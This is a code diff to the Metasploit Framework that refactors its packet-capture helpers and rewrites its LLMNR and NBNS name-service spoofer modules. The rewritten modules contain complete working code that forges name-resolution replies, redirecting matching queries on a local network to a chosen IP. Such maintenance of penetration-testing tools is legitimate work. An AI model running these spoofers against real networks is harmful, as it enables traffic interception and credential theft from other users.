diff --git a/lib/msf/core/exploit/capture.rb b/lib/msf/core/exploit/capture.rb index 1f76773a49..0d494ec42a 100644 --- a/lib/msf/core/exploit/capture.rb +++ b/lib/msf/core/exploit/capture.rb @@ -42,7 +42,7 @@ module Msf [ true, 'Send a TTL=1 random UDP datagram to this host to discover the default gateway\'s MAC', - 'www.metasploit.com']), + '8.8.8.8']), OptPort.new('GATEWAY_PROBE_PORT', [ false, @@ -143,7 +143,6 @@ module Msf return unless self.capture self.capture = nil self.arp_capture = nil - GC.start() end def capture_extract_ies(raw) @@ -163,26 +162,15 @@ module Msf end # - # This monstrosity works around a series of bugs in the interrupt - # signal handling of Ruby 1.9 + # Loop through each packet # def each_packet return unless capture - begin - @capture_count = 0 - reader = framework.threads.spawn("PcapReceiver", false) do - capture.each do |pkt| - yield(pkt) - @capture_count += 1 - end - end - reader.join - rescue ::Exception - raise $! - ensure - reader.kill if reader.alive? + @capture_count ||= 0 + capture.each do |pkt| + yield(pkt) + @capture_count += 1 end - @capture_count end @@ -242,10 +230,9 @@ module Msf pcap.inject(pkt) Rex.sleep((delay * 1.0)/1000) end - GC.start end - # Capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires + # capture_sendto is intended to replace the old Rex::Socket::Ip.sendto method. It requires # a payload and a destination address. To send to the broadcast address, set bcast # to true (this will guarantee that packets will be sent even if ARP doesn't work # out). @@ -262,24 +249,20 @@ module Msf # The return value either be a PacketFu::Packet object, or nil def inject_reply(proto=:udp, pcap=self.capture) - reply = nil - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - if not pcap - raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" - else - begin - ::Timeout.timeout(to) do - pcap.each do |r| - packet = PacketFu::Packet.parse(r) - next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto - reply = packet - break - end + # Defaults to ~2 seconds + to = (datastore['TIMEOUT'] * 4) / 1000.0 + raise RuntimeError, "Could not access the capture process (remember to open_pcap first!)" if not pcap + begin + ::Timeout.timeout(to) do + pcap.each do |r| + packet = PacketFu::Packet.parse(r) + next unless packet.proto.map { |x| x.downcase.to_sym }.include? proto + return packet end - rescue ::Timeout::Error end + rescue ::Timeout::Error end - return reply + nil end # This ascertains the correct Ethernet addresses one should use to @@ -328,20 +311,19 @@ module Msf end begin - to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0 + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 ::Timeout.timeout(to) do - while (my_packet = inject_reply(:udp, self.arp_capture)) - if my_packet.payload == secret - dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr - src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr - return [dst_mac, src_mac] - else - next - end + loop do + my_packet = inject_reply(:udp, self.arp_capture) + next unless my_packet + next unless my_packet.payload == secret + dst_mac = self.arp_cache[:gateway] = my_packet.eth_daddr + src_mac = self.arp_cache[Rex::Socket.source_address(addr)] = my_packet.eth_saddr + return [dst_mac, src_mac] end end rescue ::Timeout::Error - # Well, that didn't work (this common on networks where there's no gatway, like + # Well, that didn't work (this is common on networks where there's no gateway, like # VMWare network interfaces. We'll need to use a fake source hardware address. self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00" end @@ -354,26 +336,31 @@ module Msf return self.arp_cache[:gateway] unless should_arp? target_ip source_ip = Rex::Socket.source_address(target_ip) raise RuntimeError, "Could not access the capture process." unless self.arp_capture + p = arp_packet(target_ip, source_ip) - inject_eth(:eth_type => 0x0806, - :payload => p, - :pcap => self.arp_capture, - :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] - ) - begin - to = (datastore['TIMEOUT'] || 500).to_f / 1000.0 - ::Timeout.timeout(to) do - while (my_packet = inject_reply(:arp, self.arp_capture)) - if my_packet.arp_saddr_ip == target_ip + + # Try up to 3 times to get an ARP response + 1.upto(3) do + inject_eth(:eth_type => 0x0806, + :payload => p, + :pcap => self.arp_capture, + :eth_saddr => self.arp_cache[Rex::Socket.source_address(target_ip)] + ) + begin + to = ((datastore['TIMEOUT'] || 500).to_f * 8) / 1000.0 + ::Timeout.timeout(to) do + loop do + my_packet = inject_reply(:arp, self.arp_capture) + next unless my_packet + next unless my_packet.arp_saddr_ip == target_ip self.arp_cache[target_ip] = my_packet.eth_saddr return self.arp_cache[target_ip] - else - next end end + rescue ::Timeout::Error end - rescue ::Timeout::Error end + nil end # Creates a full ARP packet, mainly for use with inject_eth() diff --git a/lib/msf/core/exploit/ipv6.rb b/lib/msf/core/exploit/ipv6.rb index 8a7545381c..7102adcea1 100644 --- a/lib/msf/core/exploit/ipv6.rb +++ b/lib/msf/core/exploit/ipv6.rb @@ -76,7 +76,6 @@ module Exploit::Remote::Ipv6 return if not @ipv6_icmp6_capture @ipv6_icmp6_capture = nil - GC.start() end # diff --git a/modules/auxiliary/spoof/arp/arp_poisoning.rb b/modules/auxiliary/spoof/arp/arp_poisoning.rb index 0cc60e78a5..54ab2e215a 100644 --- a/modules/auxiliary/spoof/arp/arp_poisoning.rb +++ b/modules/auxiliary/spoof/arp/arp_poisoning.rb @@ -103,7 +103,6 @@ class Metasploit3 < Msf::Auxiliary if datastore['LISTENER'] @listener.kill if @listener - GC.start() end if capture and @spoofing and not datastore['BROADCAST'] diff --git a/modules/auxiliary/spoof/llmnr/llmnr_response.rb b/modules/auxiliary/spoof/llmnr/llmnr_response.rb index 4a7123fd56..c1cef329e9 100644 --- a/modules/auxiliary/spoof/llmnr/llmnr_response.rb +++ b/modules/auxiliary/spoof/llmnr/llmnr_response.rb @@ -139,9 +139,7 @@ attr_accessor :sock, :thread end ip_pkt.recalc - open_pcap - capture_sendto(ip_pkt, rhost.to_s, true) - close_pcap + capture_sendto(ip_pkt, rhost.to_s, true) end def monitor_socket @@ -176,7 +174,10 @@ attr_accessor :sock, :thread def run check_pcaprub_loaded() - ::Socket.do_not_reverse_lookup = true + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) # Multicast Address for LLMNR multicast_addr = ::IPAddr.new("224.0.0.252") @@ -191,24 +192,28 @@ attr_accessor :sock, :thread self.sock = Rex::Socket.create_udp( # This must be INADDR_ANY to receive multicast packets 'LocalHost' => "0.0.0.0", - 'LocalPort' => 5355) + 'LocalPort' => 5355, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) { - monitor_socket + monitor_socket } print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...") add_socket(self.sock) - while thread.alive? - select(nil, nil, nil, 0.25) - end - - self.thread.kill - self.sock.close rescue nil + self.thread.join end + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end end diff --git a/modules/auxiliary/spoof/nbns/nbns_response.rb b/modules/auxiliary/spoof/nbns/nbns_response.rb index 0916ac71dd..84a2f1afe6 100644 --- a/modules/auxiliary/spoof/nbns/nbns_response.rb +++ b/modules/auxiliary/spoof/nbns/nbns_response.rb @@ -9,6 +9,9 @@ class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Capture + attr_accessor :sock, :thread + + def initialize super( 'Name' => 'NetBIOS Name Service Spoofer', @@ -44,108 +47,142 @@ class Metasploit3 < Msf::Auxiliary ]) register_advanced_options([ - OptBool.new('Debug', [ false, "Determines whether incoming packet parsing is displayed", false]) + OptBool.new('DEBUG', [ false, "Determines whether incoming packet parsing is displayed", false]) ]) deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Convert to string + rhost = rhost.to_s + + spoof = ::IPAddr.new(datastore['SPOOFIP']) + + return if packet.length == 0 + + nbnsq_transid = packet[0..1] + nbnsq_flags = packet[2..3] + nbnsq_questions = packet[4..5] + nbnsq_answerrr = packet[6..7] + nbnsq_authorityrr = packet[8..9] + nbnsq_additionalrr = packet[10..11] + nbnsq_name = packet[12..45] + decoded = "" + nbnsq_name.slice(1..-2).each_byte do |c| + decoded << "#{(c - 65).to_s(16)}" + end + nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() + nbnsq_type = packet[46..47] + nbnsq_class = packet[48..49] + + return unless nbnsq_decodedname =~ /#{datastore['REGEX']}/i + + vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{spoof}") + + if datastore['DEBUG'] + print_status("transid: #{nbnsq_transid.unpack('H4')}") + print_status("tlags: #{nbnsq_flags.unpack('B16')}") + print_status("questions: #{nbnsq_questions.unpack('n')}") + print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") + print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") + print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") + print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") + print_status("full name: #{nbnsq_name.slice(1..-2)}") + print_status("decoded: #{decoded}") + print_status("decoded name: #{nbnsq_decodedname}") + print_status("type: #{nbnsq_type.unpack('n')}") + print_status("class: #{nbnsq_class.unpack('n')}") + end + + # time to build a response packet - Oh YEAH! + response = nbnsq_transid + + "\x85\x00" + # Flags = response + authoratative + recursion desired + + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + nbnsq_name + # original query name + nbnsq_type + # Type = NB ...whatever that means + nbnsq_class+ # Class = IN + "\x00\x04\x93\xe0" + # TTL = a long ass time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique = whatever that means + spoof.hton + + pkt = PacketFu::UDPPacket.new + pkt.ip_saddr = Rex::Socket.source_address(rhost) + pkt.ip_daddr = rhost + pkt.ip_ttl = 255 + pkt.udp_sport = 137 + pkt.udp_dport = src_port + pkt.payload = response + pkt.recalc + + capture_sendto(pkt, rhost) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end end def run - check_pcaprub_loaded() # Check first since otherwise this is all for naught - # MacOS X workaround - ::Socket.do_not_reverse_lookup = true + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround - @sock = ::UDPSocket.new() - @sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - @sock.bind('', 137) # couldn't specify srv host because it missed broadcasts + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) - @run = true + self.sock = Rex::Socket.create_udp( + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 137, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + add_socket(self.sock) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) - print_status("NBNS Spoofer started. Listening for NBNS requests...") - - begin - - while @run # Not exactly thrilled we can never turn this off XXX fix this sometime. - packet, addr = @sock.recvfrom(512) - src_port = addr[1] - rhost = addr[3] - - break if packet.length == 0 - - nbnsq_transid = packet[0..1] - nbnsq_flags = packet[2..3] - nbnsq_questions = packet[4..5] - nbnsq_answerrr = packet[6..7] - nbnsq_authorityrr = packet[8..9] - nbnsq_additionalrr = packet[10..11] - nbnsq_name = packet[12..45] - decoded = "" - nbnsq_name.slice(1..-2).each_byte do |c| - decoded << "#{(c - 65).to_s(16)}" + self.thread = Rex::ThreadFactory.spawn("NBNSServerMonitor", false) { + begin + monitor_socket + rescue ::Interrupt + raise $! + rescue ::Exception + print_error("Error: #{$!.class} #{$!} #{$!.backtrace}") end - nbnsq_decodedname = "#{[decoded].pack('H*')}".strip() - nbnsq_type = packet[46..47] - nbnsq_class = packet[48..49] + } - if (nbnsq_decodedname =~ /#{datastore['REGEX']}/i) + print_status("NBNS Spoofer started. Listening for NBNS requests with REGEX \"#{datastore['REGEX']}\" ...") - vprint_good("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} matches regex, responding with #{datastore["SPOOFIP"]}") - - if datastore['DEBUG'] - print_status("transid: #{nbnsq_transid.unpack('H4')}") - print_status("tlags: #{nbnsq_flags.unpack('B16')}") - print_status("questions: #{nbnsq_questions.unpack('n')}") - print_status("answerrr: #{nbnsq_answerrr.unpack('n')}") - print_status("authorityrr: #{nbnsq_authorityrr.unpack('n')}") - print_status("additionalrr: #{nbnsq_additionalrr.unpack('n')}") - print_status("name: #{nbnsq_name} #{nbnsq_name.unpack('H34')}") - print_status("full name: #{nbnsq_name.slice(1..-2)}") - print_status("decoded: #{decoded}") - print_status("decoded name: #{nbnsq_decodedname}") - print_status("type: #{nbnsq_type.unpack('n')}") - print_status("class: #{nbnsq_class.unpack('n')}") - end - - # time to build a response packet - Oh YEAH! - response = nbnsq_transid + - "\x85\x00" + # Flags = response + authoratative + recursion desired + - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - nbnsq_name + # original query name - nbnsq_type + # Type = NB ...whatever that means - nbnsq_class+ # Class = IN - "\x00\x04\x93\xe0" + # TTL = a long ass time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique = whet ever that means - datastore['SPOOFIP'].split('.').collect(&:to_i).pack('C*') - - open_pcap - - p = PacketFu::UDPPacket.new - p.ip_saddr = Rex::Socket.source_address(rhost) - p.ip_daddr = rhost - p.ip_ttl = 255 - p.udp_sport = 137 - p.udp_dport = src_port - p.payload = response - p.recalc - - capture_sendto(p, rhost) - - close_pcap - - else - vprint_status("#{rhost.ljust 16} nbns - #{nbnsq_decodedname} did not match regex") - end - end - - rescue ::Exception => e - print_error("nbnspoof: #{e.class} #{e} #{e.backtrace}") - # Make sure the socket gets closed on exit - ensure - @sock.close - end + self.thread.join + print_status("NBNS Monitor thread exited...") end + + def cleanup + if self.thread and self.thread.alive? + self.thread.kill + self.thread = nil + end + close_pcap + end + end